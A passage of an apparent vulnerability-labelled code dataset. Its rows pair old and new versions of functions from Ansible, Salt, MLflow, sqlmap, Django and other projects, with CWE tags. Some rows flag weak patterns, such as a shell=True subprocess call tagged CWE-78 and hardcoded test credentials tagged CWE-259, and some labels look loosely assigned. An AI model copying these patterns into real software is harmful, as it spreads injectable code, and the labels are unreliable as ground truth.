        'v4': _ipv4_query,
        'v6': _ipv6_query,
        'version': _version_query,
        'wildcard': _hostmask_query,
        'wrap': _wrap_query,
    }

    vtype = None

    if not value:
        return False

    elif value is True:
        return False

    # Check if value is a list and parse each element
    elif isinstance(value, (list, tuple, types.GeneratorType)):

        _ret = []
        for element in value:
            if ipaddr(element, str(query), version):
                _ret.append(ipaddr(element, str(query), version))

        if _ret:
            return _ret
        else:
            return list()

    # Check if value is a number and convert it to an IP address
    elif str(value).isdigit():

        # We don't know what IP version to assume, so let's check IPv4 first,
        # then IPv6
        try:
            if ((not version) or (version and version == 4)):
                v = netaddr.IPNetwork('0.0.0.0/0')
                v.value = int(value)
                v.prefixlen = 32
            elif version and version == 6:
                v = netaddr.IPNetwork('::/0')
                v.value = int(value)
                v.prefixlen = 128

        # IPv4 didn't work the first time, so it definitely has to be IPv6
        except Exception:
            try:
                v = netaddr.IPNetwork('::/0')
                v.value = int(value)
                v.prefixlen = 128

            # The value is too big for IPv6. Are you a nanobot?
            except Exception:
                return False

        # We got an IP address, let's mark it as such
        value = str(v)
        vtype = 'address'

    # value has not been recognized, check if it's a valid IP string
    else:
        try:
            v = netaddr.IPNetwork(value)

            # value is a valid IP string, check if user specified
            # CIDR prefix or just an IP address, this will indicate default
            # output format
            try:
                address, prefix = value.split('/')
                vtype = 'network'
            except Exception:
                vtype = 'address'

        # value hasn't been recognized, maybe it's a numerical CIDR?
        except Exception:
            try:
                address, prefix = value.split('/')
                address.isdigit()
                address = int(address)
                prefix.isdigit()
                prefix = int(prefix)

            # It's not numerical CIDR, give up
            except Exception:
                return False

            # It is something, so let's try and build a CIDR from the parts
            try:
                v = netaddr.IPNetwork('0.0.0.0/0')
                v.value = address
                v.prefixlen = prefix

            # It's not a valid IPv4 CIDR
            except Exception:
                try:
                    v = netaddr.IPNetwork('::/0')
                    v.value = address
                    v.prefixlen = prefix

                # It's not a valid IPv6 CIDR. Give up.
                except Exception:
                    return False

            # We have a valid CIDR, so let's write it in correct format
            value = str(v)
            vtype = 'network'

    # We have a query string but it's not in the known query types. Check if
    # that string is a valid subnet, if so, we can check later if given IP
    # address/network is inside that specific subnet
    try:
        # ?? 6to4 and link-local were True here before.  Should they still?
        if query and (query not in query_func_map or query == 'cidr_lookup') and ipaddr(query, 'network'):
            iplist = netaddr.IPSet([netaddr.IPNetwork(query)])
            query = 'cidr_lookup'
    except Exception:
        pass

    # This code checks if value maches the IP version the user wants, ie. if
    # it's any version (""ipaddr()""), IPv4 (""ipv4()"") or IPv6 (""ipv6()"")
    # If version does not match, return False
    if version and v.version != version:
        return False

    extras = []
    for arg in query_func_extra_args.get(query, tuple()):
        extras.append(locals()[arg])
    try:
        return query_func_map[query](v, *extras)
    except KeyError:
        try:
            float(query)
            if v.size == 1:
                if vtype == 'address':
                    return str(v.ip)
                elif vtype == 'network':
                    return str(v)

            elif v.size > 1:
                try:
                    return str(v[query]) + '/' + str(v.prefixlen)
                except Exception:
                    return False

            else:
                return value

        except Exception:
            raise errors.AnsibleFilterError(alias + ': unknown filter type: %s' % query)

    return False"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/netutil.py,0,"def ssl_wrap_socket(socket, ssl_options, server_hostname=None, **kwargs):
    """"""Returns an ``ssl.SSLSocket`` wrapping the given socket.

    ``ssl_options`` may be either a dictionary (as accepted by
    `ssl_options_to_context`) or an `ssl.SSLContext` object.
    Additional keyword arguments are passed to ``wrap_socket``
    (either the `~ssl.SSLContext` method or the `ssl` module function
    as appropriate).
    """"""
    context = ssl_options_to_context(ssl_options)
    if hasattr(ssl, 'SSLContext') and isinstance(context, ssl.SSLContext):
        if server_hostname is not None and getattr(ssl, 'HAS_SNI'):
            # Python doesn't have server-side SNI support so we can't
            # really unittest this, but it can be manually tested with
            # python3.2 -m tornado.httpclient https://sni.velox.ch
            return context.wrap_socket(socket, server_hostname=server_hostname,
                                       **kwargs)
        else:
            return context.wrap_socket(socket, **kwargs)
    else:
        return ssl.wrap_socket(socket, **dict(context, **kwargs))",CWE-Unknown,tornadoweb/tornado,d42ccf03ade1ea3fa104dab01cd33a75f179e749,"def ssl_wrap_socket(socket, ssl_options, server_hostname=None, **kwargs):
    """"""Returns an ``ssl.SSLSocket`` wrapping the given socket.

    ``ssl_options`` may be either a dictionary (as accepted by
    `ssl_options_to_context`) or an `ssl.SSLContext` object.
    Additional keyword arguments are passed to ``wrap_socket``
    (either the `~ssl.SSLContext` method or the `ssl` module function
    as appropriate).
    """"""
    context = ssl_options_to_context(ssl_options)
    if hasattr(ssl, 'SSLContext') and isinstance(context, ssl.SSLContext):
        if server_hostname is not None and getattr(ssl, 'HAS_SNI'):
            # Python doesn't have server-side SNI support so we can't
            # really unittest this, but it can be manually tested with
            # python3.2 -m tornado.httpclient https://sni.velox.ch
            return context.wrap_socket(socket, server_hostname=server_hostname,
                                       **kwargs)
        else:
            return context.wrap_socket(socket, **kwargs)
    else:
        return ssl.wrap_socket(socket, **dict(context, **kwargs))"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/nxos/nxos_vrf.py,0,"def main():
    """""" main entry point for module execution
    """"""
    element_spec = dict(
        name=dict(type='str', aliases=['vrf']),
        description=dict(type='str'),
        vni=dict(type='str'),
        rd=dict(type='str'),
        admin_state=dict(type='str', default='up', choices=['up', 'down']),
        interfaces=dict(type='list'),
        associated_interfaces=dict(type='list'),
        delay=dict(type='int', default=10),
        state=dict(type='str', default='present', choices=['present', 'absent']),
    )

    aggregate_spec = deepcopy(element_spec)

    # remove default in aggregate spec, to handle common arguments
    remove_default_spec(aggregate_spec)

    argument_spec = dict(
        aggregate=dict(type='list', elements='dict', options=aggregate_spec),
        purge=dict(type='bool', default=False),
    )

    argument_spec.update(element_spec)
    argument_spec.update(nxos_argument_spec)

    required_one_of = [['name', 'aggregate']]
    mutually_exclusive = [['name', 'aggregate']]
    module = AnsibleModule(argument_spec=argument_spec,
                           required_one_of=required_one_of,
                           mutually_exclusive=mutually_exclusive,
                           supports_check_mode=True)

    warnings = list()
    result = {'changed': False}
    if warnings:
        result['warnings'] = warnings

    want = map_params_to_obj(module)
    have = map_config_to_obj(want, element_spec, module)

    commands = map_obj_to_commands((want, have), module)
    result['commands'] = commands

    if commands and not module.check_mode:
        load_config(module, commands)
        result['changed'] = True

    check_declarative_intent_params(want, module, element_spec, result)

    module.exit_json(**result)",,ansible/ansible,203caf2570e236e1569f7ebac738b41f51f1b02c,"def main():
    """""" main entry point for module execution
    """"""
    element_spec = dict(
        name=dict(aliases=['vrf']),
        description=dict(),
        vni=dict(type=str),
        rd=dict(type=str),
        admin_state=dict(default='up', choices=['up', 'down']),
        interfaces=dict(type='list'),
        associated_interfaces=dict(type='list'),
        delay=dict(default=10, type='int'),
        state=dict(default='present', choices=['present', 'absent'])
    )

    aggregate_spec = deepcopy(element_spec)

    # remove default in aggregate spec, to handle common arguments
    remove_default_spec(aggregate_spec)

    argument_spec = dict(
        aggregate=dict(type='list', elements='dict', options=aggregate_spec),
        purge=dict(default=False, type='bool')
    )

    argument_spec.update(element_spec)
    argument_spec.update(nxos_argument_spec)

    required_one_of = [['name', 'aggregate']]
    mutually_exclusive = [['name', 'aggregate']]
    module = AnsibleModule(argument_spec=argument_spec,
                           required_one_of=required_one_of,
                           mutually_exclusive=mutually_exclusive,
                           supports_check_mode=True)

    warnings = list()
    result = {'changed': False}
    if warnings:
        result['warnings'] = warnings

    want = map_params_to_obj(module)
    have = map_config_to_obj(want, element_spec, module)

    commands = map_obj_to_commands((want, have), module)
    result['commands'] = commands

    if commands and not module.check_mode:
        load_config(module, commands)
        result['changed'] = True

    check_declarative_intent_params(want, module, element_spec, result)

    module.exit_json(**result)"
,UNKNOWN,UNKNOWN,tests/langchain/test_langchain_model_export.py,1,"def test_save_load_runnable_parallel():
    from langchain.schema.runnable import RunnableParallel

    def fake_llm(prompt: str) -> str:
        return ""completion""

    runnable = RunnableParallel({""llm"": fake_llm})
    assert runnable.invoke(""hello"") == {""llm"": ""completion""}
    assert runnable.batch([""hello"", ""world""]) == [
        {""llm"": ""completion""},
        {""llm"": ""completion""},
    ]
    with mlflow.start_run():
        model_info = mlflow.langchain.log_model(
            runnable, ""model_path"", input_example=[""hello"", ""world""]
        )
    loaded_model = mlflow.langchain.load_model(model_info.model_uri)
    assert loaded_model.invoke(""hello"") == {""llm"": ""completion""}
    pyfunc_loaded_model = mlflow.pyfunc.load_model(model_info.model_uri)
    assert pyfunc_loaded_model.predict(""hello"") == [{""llm"": ""completion""}]
    assert pyfunc_loaded_model.predict([""hello"", ""world""]) == [
        {""llm"": ""completion""},
        {""llm"": ""completion""},
    ]

    response = pyfunc_serve_and_score_model(
        model_info.model_uri,
        data=json.dumps({""inputs"": [""hello"", ""world""]}),
        content_type=pyfunc_scoring_server.CONTENT_TYPE_JSON,
        extra_args=[""--env-manager"", ""local""],
    )
    assert PredictionsResponse.from_json(response.content.decode(""utf-8"")) == {
        ""predictions"": [{""llm"": ""completion""}, {""llm"": ""completion""}]
    }",CWE-703,mlflow/mlflow,505a75a1b8267d25cea09db6f0bfff16112bbe66,"def test_save_load_runnable_parallel():
    from langchain.schema.runnable import RunnableParallel

    def fake_llm(prompt: str) -> str:
        return ""completion""

    runnable = RunnableParallel({""llm"": fake_llm})
    assert runnable.invoke(""hello"") == {""llm"": ""completion""}
    assert runnable.batch([""hello"", ""world""]) == [
        {""llm"": ""completion""},
        {""llm"": ""completion""},
    ]
    with mlflow.start_run():
        model_info = mlflow.langchain.log_model(
            runnable, ""model_path"", input_example=[""hello"", ""world""]
        )
    loaded_model = mlflow.langchain.load_model(model_info.model_uri)
    assert loaded_model.invoke(""hello"") == {""llm"": ""completion""}
    pyfunc_loaded_model = mlflow.pyfunc.load_model(model_info.model_uri)
    assert pyfunc_loaded_model.predict(""hello"") == [{""llm"": ""completion""}]
    assert pyfunc_loaded_model.predict([""hello"", ""world""]) == [
        {""llm"": ""completion""},
        {""llm"": ""completion""},
    ]

    response = pyfunc_serve_and_score_model(
        model_info.model_uri,
        data=json.dumps({""inputs"": [""hello"", ""world""]}),
        content_type=pyfunc_scoring_server.CONTENT_TYPE_JSON,
        extra_args=[""--env-manager"", ""local""],
    )
    assert PredictionsResponse.from_json(response.content.decode(""utf-8"")) == {
        ""predictions"": [{""llm"": ""completion""}, {""llm"": ""completion""}]
    }"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/nxos/nxos_command.py,0,"def parse_commands(module, warnings):
    transform = ComplexList(dict(
        command=dict(key=True),
        output=dict(),
        prompt=dict(),
        answer=dict()
    ), module)

    commands = transform(module.params['commands'])

    if module.check_mode:
        for item in list(commands):
            if not item['command'].startswith('show'):
                warnings.append(
                    'Only show commands are supported when using check_mode, not '
                    'executing %s' % item['command']
                )
                commands.remove(item)

    return commands",,ansible/ansible,e1def05ba236012fec8ec521955925a8468073e4,"def parse_commands(module, warnings):
    transform = ComplexList(dict(
        command=dict(key=True),
        output=dict(),
        prompt=dict(),
        answer=dict()
    ), module)

    commands = transform(module.params['commands'])

    for index, item in enumerate(commands):
        if module.check_mode and not item['command'].startswith('show'):
            warnings.append(
                'Only show commands are supported when using check_mode, not '
                'executing %s' % item['command']
            )

    return commands"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/options/combo_option.py,0,"def __init__(self, name, default_value, desc, _help='', tabid=''):
        """"""
        :param name: The name of the ComboOption
        :param default_value: The default value of the ComboOption;
                             it is a list of the options that the
                             user can choose from.
        :param desc: The description of the ComboOption
        :param help: The help of the ComboOption; a large description
                     of the ComboOption
        :param tabid: The tab id of the ComboOption
        """"""
        super(ComboOption, self).__init__(name, default_value, desc)
        self._value = default_value[0]
        self._default_value = default_value[0]
        self._combo_options = default_value
        self._name = name
        self._desc = desc
        self._help = _help
        self._tabid = tabid",,andresriancho/w3af,b071a67bf4b3b43664c567ed498f2483431d10ea,"def __init__(self, name, default_value, desc, _help='', tabid=''):
        """"""
        :param name: The name of the ComboOption
        :param default_value: The default value of the ComboOption;
                             it is a list of the options that the
                             user can choose from.
        :param desc: The description of the ComboOption
        :param help: The help of the ComboOption; a large description
                     of the ComboOption
        :param tabid: The tab id of the ComboOption
        """"""
        self._value = default_value[0]
        self._default_value = default_value[0]
        self._combo_options = default_value

        self._name = name
        self._desc = desc
        self._help = _help
        self._tabid = tabid"
,UNKNOWN,UNKNOWN,tests/pytests/functional/modules/test_mongodb.py,1,"def test_when_mongo_requires_tls_and_module_ssl_is_False_connection_should_fail(
    mongo_requiretls_container,
):
    _, mongo_port = mongo_requiretls_container
    result = mongo_mod.db_list(
        user=""fnord"",
        password=""fnord"",
        host=""127.0.0.1"",
        port=mongo_port,
        ssl=False,
        verify_ssl=False,
    )
    assert isinstance(result, str)
    assert ""connection closed"" in result","CWE-259, CWE-703",saltstack/salt,6914202143b4a475132c918fbea5c11cb187552a,"def test_when_mongo_requires_tls_and_module_ssl_is_False_connection_should_fail(
    mongo_requiretls_container,
):
    _, mongo_port = mongo_requiretls_container
    result = mongo_mod.db_list(
        user=""fnord"",
        password=""fnord"",
        host=""127.0.0.1"",
        port=mongo_port,
        ssl=False,
        verify_ssl=False,
    )
    assert result == ""Failed to connect to mongo database"""
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_aptpkg.py,1,"def test_set_selections_test():
    """"""
    test set_selections() with valid state and test is True in opts
    """"""
    pkg = ""salt-minion""
    mock_get_sel = MagicMock(
        return_value={
            ""install"": [""adduser"", pkg, ""apparmor""],
            ""deinstall"": [""python3-json-pointer""],
        }
    )
    patch_get_sel = patch(""salt.modules.aptpkg.get_selections"", mock_get_sel)
    mock_call_apt = MagicMock(
        return_value={""pid"": 8748, ""retcode"": 0, ""stdout"": """", ""stderr"": """"}
    )
    patch_call_apt = patch(""salt.modules.aptpkg._call_apt"", mock_call_apt)
    patch_opts = patch.dict(aptpkg.__opts__, {""test"": True})
    with patch_get_sel, patch_call_apt, patch_opts:
        ret = aptpkg.set_selections(selection=f'{{""hold"": [{pkg}]}}')
    assert ret == {}",CWE-703,saltstack/salt,3c3285e51e10010a1203edda42a0000abd2fda1b,"def test_set_selections_test():
    """"""
    test set_selections() with valid state and test is True in opts
    """"""
    pkg = ""salt-minion""
    mock_get_sel = MagicMock(
        return_value={
            ""install"": [""adduser"", pkg, ""apparmor""],
            ""deinstall"": [""python3-json-pointer""],
        }
    )
    patch_get_sel = patch(""salt.modules.aptpkg.get_selections"", mock_get_sel)
    mock_call_apt = MagicMock(
        return_value={""pid"": 8748, ""retcode"": 0, ""stdout"": """", ""stderr"": """"}
    )
    patch_call_apt = patch(""salt.modules.aptpkg._call_apt"", mock_call_apt)
    patch_opts = patch.dict(aptpkg.__opts__, {""test"": True})
    with patch_get_sel, patch_call_apt, patch_opts:
        ret = aptpkg.set_selections(selection=f'{{""hold"": [{pkg}]}}')
    assert ret == {}"
,UNKNOWN,UNKNOWN,lib/ansible/cli/__init__.py,1,"def pager_pipe(text, cmd):
        ''' pipe text through a pager '''
        if 'LESS' not in os.environ:
            os.environ['LESS'] = CLI.LESS_OPTS
        try:
            cmd = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=sys.stdout)
            cmd.communicate(input=text)
        except IOError:
            pass
        except KeyboardInterrupt:
            pass",CWE-78,ansible/ansible,09605706d9b8495f76b346616cf7bc4568e3e01f,"def pager_pipe(text, cmd):
        ''' pipe text through a pager '''
        if 'LESS' not in os.environ:
            os.environ['LESS'] = self.LESS_OPTS
        try:
            cmd = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=sys.stdout)
            cmd.communicate(input=text)
        except IOError:
            pass
        except KeyboardInterrupt:
            pass"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/projects/__init__.py,0,"def _get_conda_bin_executable(executable_name):
    """"""
    Return path to the specified executable, assumed to be discoverable within the 'bin'
    subdirectory of a conda installation.

    The conda home directory (expected to contain a 'bin' subdirectory) is configurable via the
    ``mlflow.projects.MLFLOW_CONDA_HOME`` environment variable. If
    ``mlflow.projects.MLFLOW_CONDA_HOME`` is unspecified, this method simply returns the passed-in
    executable name.
    """"""
    conda_home = os.environ.get(MLFLOW_CONDA_HOME)
    if conda_home:
        return os.path.join(conda_home, ""bin/%s"" % executable_name)
    # Use CONDA_EXE as per https://github.com/conda/conda/issues/7126
    if ""CONDA_EXE"" in os.environ:
        conda_bin_dir = os.path.dirname(os.environ[""CONDA_EXE""])
        return os.path.join(conda_bin_dir, executable_name)
    return executable_name",,mlflow/mlflow,4563365fe0b2ee5a6ae51d52faba3ac126989cb8,"def _get_conda_bin_executable(executable_name):
    """"""
    Return path to the specified executable, assumed to be discoverable within the 'bin'
    subdirectory of a conda installation.

    The conda home directory (expected to contain a 'bin' subdirectory) is configurable via the
    ``mlflow.projects.MLFLOW_CONDA_HOME`` environment variable. If
    ``mlflow.projects.MLFLOW_CONDA_HOME`` is unspecified, this method simply returns the passed-in
    executable name.
    """"""
    conda_home = os.environ.get(MLFLOW_CONDA_HOME)
    if conda_home:
        return os.path.join(conda_home, ""bin/%s"" % executable_name)
    return executable_name"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/utils/__init__.py,0,"def dns_check(addr, safe=False, ipv6=False):
    '''
    Return the ip resolved by dns, but do not exit on failure, only raise an
    exception. Obeys system preference for IPv4/6 address resolution.
    '''
    error = False
    lookup = addr
    seen_ipv6 = False
    try:
        # issue #21397: force glibc to re-read resolv.conf
        if HAS_RESINIT:
            res_init()
        hostnames = socket.getaddrinfo(
            addr, None, socket.AF_UNSPEC, socket.SOCK_STREAM
        )
        if not hostnames:
            error = True
        else:
            addr = False
            for h in hostnames:
                if h[0] == socket.AF_INET:
                    addr = ip_bracket(h[4][0])
                    break
                elif h[0] == socket.AF_INET6:
                    if not ipv6:
                        seen_ipv6 = True
                        continue
                    addr = ip_bracket(h[4][0])
                    break
            if not addr:
                error = True
    except TypeError:
        err = ('Attempt to resolve address \'{0}\' failed. Invalid or unresolveable address').format(lookup)
        raise SaltSystemExit(code=42, msg=err)
    except socket.error:
        error = True

    if error:
        if seen_ipv6 and not addr:
            err = ('DNS lookup of \'{0}\' failed, but ipv6 address ignored. Enable ipv6 in config to use it.').format(lookup)
        else:
            err = ('DNS lookup of \'{0}\' failed.').format(lookup)
        if safe:
            if salt.log.is_console_configured():
                # If logging is not configured it also means that either
                # the master or minion instance calling this hasn't even
                # started running
                log.error(err)
            raise SaltClientError()
        raise SaltSystemExit(code=42, msg=err)
    return addr",,saltstack/salt,9bbc4636359a4f0026393e6bb890cd2fe96d401a,"def dns_check(addr, safe=False, ipv6=False):
    '''
    Return the ip resolved by dns, but do not exit on failure, only raise an
    exception. Obeys system preference for IPv4/6 address resolution.
    '''
    error = False
    try:
        # issue #21397: force glibc to re-read resolv.conf
        if HAS_RESINIT:
            res_init()
        hostnames = socket.getaddrinfo(
            addr, None, socket.AF_UNSPEC, socket.SOCK_STREAM
        )
        if not hostnames:
            error = True
        else:
            addr = False
            for h in hostnames:
                if h[0] == socket.AF_INET or (h[0] == socket.AF_INET6 and ipv6):
                    addr = ip_bracket(h[4][0])
                    break
            if not addr:
                error = True
    except TypeError:
        err = ('Attempt to resolve address \'{0}\' failed. Invalid or unresolveable address').format(addr)
        raise SaltSystemExit(code=42, msg=err)
    except socket.error:
        error = True

    if error:
        err = ('DNS lookup of \'{0}\' failed.').format(addr)
        if safe:
            if salt.log.is_console_configured():
                # If logging is not configured it also means that either
                # the master or minion instance calling this hasn't even
                # started running
                log.error(err)
            raise SaltClientError()
        raise SaltSystemExit(code=42, msg=err)
    return addr"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/notepad.py,0,"def generator(self, data):
        for task in data:
            # only looking for notepad
            if str(task.ImageFileName).lower() != ""notepad.exe"":
                continue
            process_id = task.UniqueProcessId

            entry_size = task.obj_vm.profile.get_obj_size(""_HEAP_ENTRY"")
            heap = task.Peb.ProcessHeap.dereference_as(""_HEAP"")

            for segment in heap.segments():
                for entry in segment.heap_entries():

                    # the extra heap data is present
                    if ""extra"" not in str(entry.Flags):
                        continue

                    text = obj.Object(""String"",
                                      offset = entry.obj_offset + entry_size,
                                      vm = task.get_process_address_space(),
                                      length = entry.Size * entry_size,
                                      encoding = ""utf16"")

                    if not text or len(text) == 0:
                        continue
                    else:
                        display_text = text

            yield(0, ['notepad.exe', int(process_id), str(display_text)])",,volatilityfoundation/volatility,5afcda00cd4b08d683dbbbc5ffd343aeead4a3bc,"def generator(self, data):
        for task in data:
            # only looking for notepad
            if str(task.ImageFileName).lower() != ""notepad.exe"":
                continue
            process_id = task.UniqueProcessId

            entry_size = task.obj_vm.profile.get_obj_size(""_HEAP_ENTRY"")
            heap = task.Peb.ProcessHeap.dereference_as(""_HEAP"")

            for segment in heap.segments():
                for entry in segment.heap_entries():

                    # the extra heap data is present
                    if ""extra"" not in str(entry.Flags):
                        continue

                    text = obj.Object(""String"",
                                      offset=entry.obj_offset + entry_size,
                                      vm=task.get_process_address_space(),
                                      length=entry.Size * entry_size,
                                      encoding=""utf16"")

                    if not text or len(text) == 0:
                        continue
                    else:
                        display_text = text

            yield(0, ['notepad.exe', int(process_id), str(display_text)])"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/distil.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, _ = get_page(get=vector)
        retval |= headers.get(""x-distil-cs"") is not None
        retval |= any(_ in (page or """") for _ in (""distilCaptchaForm"", ""distilCallbackGuard"", ""cdn.distilnetworks.com/images/anomaly-detected.png""))
        if retval:
            break

    return retval",,sqlmapproject/sqlmap,9043d9dd05a3b9470abeacd9510752999a7479ae,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, _ = get_page(get=vector)
        retval = headers.get(""x-distil-cs"") is not None
        retval |= any(_ in (page or """") for _ in (""distilCaptchaForm"", ""distilCallbackGuard"", ""cdn.distilnetworks.com/images/anomaly-detected.png""))
        if retval:
            break

    return retval"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/admin/widgets.py,0,"def get_select2_language():
    lang_code = get_language()
    supported_code = SELECT2_TRANSLATIONS.get(lang_code)
    if supported_code is None and lang_code is not None:
        # If 'zh-hant-tw' is not supported, try subsequent language codes i.e.
        # 'zh-hant' and 'zh'.
        i = None
        while (i := lang_code.rfind(""-"", 0, i)) > -1:
            if supported_code := SELECT2_TRANSLATIONS.get(lang_code[:i]):
                return supported_code
    return supported_code",CWE-Unknown,django/django,0638b4e23dbabdcf7d7a6f2a2d5b95b980dece78,"def get_select2_language():
    lang_code = get_language()
    supported_code = SELECT2_TRANSLATIONS.get(lang_code)
    if supported_code is None:
        # If 'zh-hant-tw' is not supported, try subsequent language codes i.e.
        # 'zh-hant' and 'zh'.
        i = None
        while (i := lang_code.rfind(""-"", 0, i)) > -1:
            if supported_code := SELECT2_TRANSLATIONS.get(lang_code[:i]):
                return supported_code
    return supported_code"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/migrations/versions/0041_3_0_0_rename_dataset_as_asset.py,0,"def upgrade():
    """"""Rename dataset as asset.""""""
    # Rename tables
    for original_name, new_name in table_name_mappings:
        op.rename_table(original_name, new_name)

    with op.batch_alter_table(""asset_active"", schema=None) as batch_op:
        batch_op.drop_constraint(""asset_active_asset_name_uri_fkey"", type_=""foreignkey"")

    with op.batch_alter_table(""asset"", schema=None) as batch_op:
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dataset_name_uri_unique"",
            new_name=""idx_asset_name_uri_unique"",
            columns=[""name"", ""uri""],
            unique=True,
        )

    with op.batch_alter_table(""asset_active"", schema=None) as batch_op:
        batch_op.create_foreign_key(
            constraint_name=""asset_active_asset_name_uri_fkey"",
            referent_table=""asset"",
            local_cols=[""name"", ""uri""],
            remote_cols=[""name"", ""uri""],
            ondelete=""CASCADE"",
        )

    with op.batch_alter_table(""asset_alias_asset"", schema=None) as batch_op:
        batch_op.alter_column(""dataset_id"", new_column_name=""asset_id"", type_=sa.Integer(), nullable=False)

    with op.batch_alter_table(""asset_alias_asset"", schema=None) as batch_op:
        batch_op.drop_constraint(op.f(""dataset_alias_dataset_alias_id_fkey""), type_=""foreignkey"")
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dataset_alias_dataset_alias_id"",
            new_name=""idx_asset_alias_asset_alias_id"",
            columns=[""alias_id""],
            unique=False,
        )
        batch_op.create_foreign_key(
            constraint_name=""asset_alias_asset_alias_id_fkey"",
            referent_table=""asset_alias"",
            local_cols=[""alias_id""],
            remote_cols=[""id""],
            ondelete=""CASCADE"",
        )

        batch_op.drop_constraint(op.f(""dataset_alias_dataset_dataset_id_fkey""), type_=""foreignkey"")
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dataset_alias_dataset_alias_dataset_id"",
            new_name=""idx_asset_alias_asset_asset_id"",
            columns=[""asset_id""],
            unique=False,
        )
        batch_op.create_foreign_key(
            constraint_name=""asset_alias_asset_asset_id_fkey"",
            referent_table=""asset"",
            local_cols=[""asset_id""],
            remote_cols=[""id""],
            ondelete=""CASCADE"",
        )

    with op.batch_alter_table(""asset_alias_asset_event"", schema=None) as batch_op:
        batch_op.drop_constraint(op.f(""dataset_alias_dataset_event_alias_id_fkey""), type_=""foreignkey"")
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dataset_alias_dataset_event_alias_id"",
            new_name=""idx_asset_alias_asset_event_alias_id"",
            columns=[""alias_id""],
            unique=False,
        )
        batch_op.create_foreign_key(
            constraint_name=op.f(""asset_alias_asset_event_alias_id_fkey""),
            referent_table=""asset_alias"",
            local_cols=[""alias_id""],
            remote_cols=[""id""],
            ondelete=""CASCADE"",
        )

        batch_op.drop_constraint(op.f(""dataset_alias_dataset_event_event_id_fkey""), type_=""foreignkey"")
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dataset_alias_dataset_event_event_id"",
            new_name=""idx_asset_alias_asset_event_event_id"",
            columns=[""event_id""],
            unique=False,
        )
        batch_op.create_foreign_key(
            constraint_name=op.f(""asset_alias_asset_event_event_id_fkey""),
            referent_table=""asset_event"",
            local_cols=[""event_id""],
            remote_cols=[""id""],
            ondelete=""CASCADE"",
        )

    with op.batch_alter_table(""dag_schedule_asset_alias_reference"", schema=None) as batch_op:
        batch_op.drop_constraint(""dsdar_dataset_alias_fkey"", type_=""foreignkey"")
        if op.get_bind().dialect.name in (""postgresql"", ""mysql""):
            batch_op.drop_constraint(""dsdar_dag_id_fkey"", type_=""foreignkey"")

        _rename_pk_constraint(
            batch_op=batch_op,
            original_name=""dsdar_pkey"",
            new_name=""dsaar_pkey"",
            columns=[""alias_id"", ""dag_id""],
        )
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dag_schedule_dataset_alias_reference_dag_id"",
            new_name=""idx_dag_schedule_asset_alias_reference_dag_id"",
            columns=[""dag_id""],
            unique=False,
        )
    with op.batch_alter_table(""dag_schedule_asset_alias_reference"", schema=None) as batch_op:
        batch_op.create_foreign_key(
            constraint_name=""dsaar_asset_alias_fkey"",
            referent_table=""asset_alias"",
            local_cols=[""alias_id""],
            remote_cols=[""id""],
            ondelete=""CASCADE"",
        )
        batch_op.create_foreign_key(
            constraint_name=""dsaar_dag_id_fkey"",
            referent_table=""dag"",
            local_cols=[""dag_id""],
            remote_cols=[""dag_id""],
            ondelete=""CASCADE"",
        )

    with op.batch_alter_table(""dag_schedule_asset_reference"", schema=None) as batch_op:
        batch_op.alter_column(""dataset_id"", new_column_name=""asset_id"", type_=sa.Integer(), nullable=False)

    with op.batch_alter_table(""dag_schedule_asset_reference"", schema=None) as batch_op:
        batch_op.drop_constraint(""dsdr_dag_id_fkey"", type_=""foreignkey"")
        if op.get_bind().dialect.name in (""postgresql"", ""mysql""):
            batch_op.drop_constraint(""dsdr_dataset_fkey"", type_=""foreignkey"")

        _rename_pk_constraint(
            batch_op=batch_op,
            original_name=""dsdr_pkey"",
            new_name=""dsar_pkey"",
            columns=[""asset_id"", ""dag_id""],
        )
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dag_schedule_dataset_reference_dag_id"",
            new_name=""idx_dag_schedule_asset_reference_dag_id"",
            columns=[""dag_id""],
            unique=False,
        )

        batch_op.create_foreign_key(
            constraint_name=""dsar_dag_id_fkey"",
            referent_table=""dag"",
            local_cols=[""dag_id""],
            remote_cols=[""dag_id""],
            ondelete=""CASCADE"",
        )
        batch_op.create_foreign_key(
            constraint_name=""dsar_asset_fkey"",
            referent_table=""asset"",
            local_cols=[""asset_id""],
            remote_cols=[""id""],
            ondelete=""CASCADE"",
        )

    with op.batch_alter_table(""task_outlet_asset_reference"", schema=None) as batch_op:
        batch_op.alter_column(""dataset_id"", new_column_name=""asset_id"", type_=sa.Integer(), nullable=False)

        batch_op.drop_constraint(""todr_dag_id_fkey"", type_=""foreignkey"")
        if op.get_bind().dialect.name in (""postgresql"", ""mysql""):
            batch_op.drop_constraint(""todr_dataset_fkey"", type_=""foreignkey"")

        _rename_pk_constraint(
            batch_op=batch_op,
            original_name=""todr_pkey"",
            new_name=""toar_pkey"",
            columns=[""asset_id"", ""dag_id"", ""task_id""],
        )

        _rename_index(
            batch_op=batch_op,
            original_name=""idx_task_outlet_dataset_reference_dag_id"",
            new_name=""idx_task_outlet_asset_reference_dag_id"",
            columns=[""dag_id""],
            unique=False,
        )
    with op.batch_alter_table(""task_outlet_asset_reference"", schema=None) as batch_op:
